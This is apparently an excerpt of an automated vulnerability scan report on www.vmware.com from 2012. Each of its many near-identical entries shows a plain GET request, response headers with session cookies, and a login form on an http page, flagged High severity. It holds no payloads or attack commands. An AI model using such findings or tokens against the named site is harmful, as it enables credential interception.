<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.147. http://www.vmware.com/support/product-support/acquisitions/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/acquisitions/

Request

GET /support/product-support/acquisitions/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=289138CA5E6ABDF81A8A45C720802732; Path=/vmware-runtime
Set-Cookie: TSc99b3e=d12aee5e7fc5f2360ca43dbacd058dcbabb1f043c06b19c14f9f5e12; Path=/
Set-Cookie: TS9938d1=d12aee5e7fc5f2360ca43dbacd058dcbabb1f043c06b19c14f9f5e12; Path=/vmware-runtime
Content-Length: 82608


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.148. http://www.vmware.com/support/product-support/fusion/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/fusion/

Request

GET /support/product-support/fusion/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=040D6DC750B878C41663ABAAC3EA7D55; Path=/vmware-runtime
Set-Cookie: TSc99b3e=48bb2c9fb4791988b3c5549e19eac4bdabb1f043c06b19c14f9f5e14; Path=/
Set-Cookie: TS9938d1=48bb2c9fb4791988b3c5549e19eac4bdabb1f043c06b19c14f9f5e14; Path=/vmware-runtime
Content-Length: 82056


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.149. http://www.vmware.com/support/product-support/server.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/server.html

Request

GET /support/product-support/server.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=B8B44743C6B6B66C6C0F7D830437B4C8; Path=/vmware-runtime
Set-Cookie: TSc99b3e=35dc601822e3cc02a3217e5b6882603cabb1f043c06b19c14f9f5e16; Path=/
Set-Cookie: TS9938d1=35dc601822e3cc02a3217e5b6882603cabb1f043c06b19c14f9f5e16; Path=/vmware-runtime
Content-Length: 76897


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.150. http://www.vmware.com/support/product-support/vcloud-director.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/vcloud-director.html

Request

GET /support/product-support/vcloud-director.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=287A0BA0C9DA1F150856EF7A08C22B0B; Path=/vmware-runtime
Set-Cookie: TSc99b3e=48bb2c9fb4791988b3c5549e19eac4bdabb1f043c06b19c14f9f5e14; Path=/
Set-Cookie: TS9938d1=48bb2c9fb4791988b3c5549e19eac4bdabb1f043c06b19c14f9f5e14; Path=/vmware-runtime
Content-Length: 79084


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.151. http://www.vmware.com/support/product-support/vi3.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/vi3.html

Request

GET /support/product-support/vi3.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=BC9FC975ED2677C8BC414B5C13C73FEC; Path=/vmware-runtime
Set-Cookie: TSc99b3e=35dc601822e3cc02a3217e5b6882603cabb1f043c06b19c14f9f5e16; Path=/
Set-Cookie: TS9938d1=35dc601822e3cc02a3217e5b6882603cabb1f043c06b19c14f9f5e16; Path=/vmware-runtime
Content-Length: 81781


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.152. http://www.vmware.com/support/product-support/view.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/view.html

Request

GET /support/product-support/view.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=538D8EE2D857493989F6CE0AA7848065; Path=/vmware-runtime
Set-Cookie: TSc99b3e=ce6944ffeb22aedadfb62b2dc33e8ef0abb1f043c06b19c14f9f5e13; Path=/
Set-Cookie: TS9938d1=ce6944ffeb22aedadfb62b2dc33e8ef0abb1f043c06b19c14f9f5e13; Path=/vmware-runtime
Content-Length: 79450


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.153. http://www.vmware.com/support/product-support/vsphere-hypervisor.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/vsphere-hypervisor.html

Request

GET /support/product-support/vsphere-hypervisor.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=407407143754F58BF6C8AEDB59808B42; Path=/vmware-runtime
Set-Cookie: TSc99b3e=df836c01c5a7bd84c35bbe9f513295f5abb1f043c06b19c14f9f5e15; Path=/
Set-Cookie: TS9938d1=df836c01c5a7bd84c35bbe9f513295f5abb1f043c06b19c14f9f5e15; Path=/vmware-runtime
Content-Length: 79292


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.154. http://www.vmware.com/support/product-support/workstation.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/product-support/workstation.html

Request

GET /support/product-support/workstation.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=89AA9EEADBCC87B04E2EB2460F5466AA; Path=/vmware-runtime
Set-Cookie: TSc99b3e=df836c01c5a7bd84c35bbe9f513295f5abb1f043c06b19c14f9f5e15; Path=/
Set-Cookie: TS9938d1=df836c01c5a7bd84c35bbe9f513295f5abb1f043c06b19c14f9f5e15; Path=/vmware-runtime
Content-Length: 79888


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.155. http://www.vmware.com/support/services/basic.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/services/basic.html

Request

GET /support/services/basic.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=466CB3B232106F875AB873F55449691A; Path=/vmware-runtime
Set-Cookie: TSc99b3e=3e467f9d4bc1b77de84d6c8ab772217dabb1f043c06b19c14f9f5e19; Path=/
Set-Cookie: TS9938d1=3e467f9d4bc1b77de84d6c8ab772217dabb1f043c06b19c14f9f5e19; Path=/vmware-runtime
Content-Length: 81028


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.156. http://www.vmware.com/support/services/incident.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/services/incident.html

Request

GET /support/services/incident.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=1D72B014DA35170165AE807BC396E422; Path=/vmware-runtime
Set-Cookie: TSc99b3e=d02afdcd659eca722262b714231ce54fabb1f043c06b19c14f9f5e1a; Path=/
Set-Cookie: TS9938d1=d02afdcd659eca722262b714231ce54fabb1f043c06b19c14f9f5e1a; Path=/vmware-runtime
Content-Length: 85382


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.157. http://www.vmware.com/support/services/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/services/index.html

Request

GET /support/services/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=61266DA1972B13FEBDBFC5B13E6885EB; Path=/vmware-runtime
Set-Cookie: TSc99b3e=8ec1d4d4eec7b632129d3812934e9cd3abb1f043c06b19c14f9f5e18; Path=/
Set-Cookie: TS9938d1=8ec1d4d4eec7b632129d3812934e9cd3abb1f043c06b19c14f9f5e18; Path=/vmware-runtime
Content-Length: 78662


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.158. http://www.vmware.com/support/services/production.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/services/production.html

Request

GET /support/services/production.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:52:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=C08AD2ABB13E7F39F038DFE5C7956A2B; Path=/vmware-runtime
Set-Cookie: TSc99b3e=3e467f9d4bc1b77de84d6c8ab772217dabb1f043c06b19c14f9f5e19; Path=/
Set-Cookie: TS9938d1=3e467f9d4bc1b77de84d6c8ab772217dabb1f043c06b19c14f9f5e19; Path=/vmware-runtime
Content-Length: 82013


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.159. http://www.vmware.com/support/us_support.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /support/us_support.html

Request

GET /support/us_support.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Expires: Tue, 01 May 2012 03:53:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:53:01 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=7C7E5CFC5F0BAB35E674CCE9FBFEBC58; Path=/vmware-runtime
Set-Cookie: TSc99b3e=de6035fed6d7390c7a87c695c6353167abb1f043c06b19c14f9f5e1d; Path=/
Set-Cookie: TS9938d1=de6035fed6d7390c7a87c695c6353167abb1f043c06b19c14f9f5e1d; Path=/vmware-runtime
Content-Length: 82226


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.160. http://www.vmware.com/technical-resources/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /technical-resources/

Request

GET /technical-resources/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:52:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93977


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.161. http://www.vmware.com/technical-resources/advantages/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /technical-resources/advantages/

Request

GET /technical-resources/advantages/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91858


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.162. http://www.vmware.com/uk/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /uk/

Request

GET /uk/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79660


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.163. http://www.vmware.com/virtualization/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/

Request

GET /virtualization/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 98621


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.164. http://www.vmware.com/virtualization/green-it/greengrid.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/green-it/greengrid.html

Request

GET /virtualization/green-it/greengrid.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83559


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.165. http://www.vmware.com/virtualization/green-it/pc.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/green-it/pc.html

Request

GET /virtualization/green-it/pc.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80606


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.166. http://www.vmware.com/virtualization/why-choose-vmware.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/why-choose-vmware.html

Request

GET /virtualization/why-choose-vmware.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77705


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.167. http://www.vmware.com/virtualization/why-choose-vmware/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/why-choose-vmware/

Request

GET /virtualization/why-choose-vmware/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77705


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.168. http://www.vmware.com/virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html

Request

GET /virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.169. http://www.vmware.com/virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html

Request

GET /virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81780


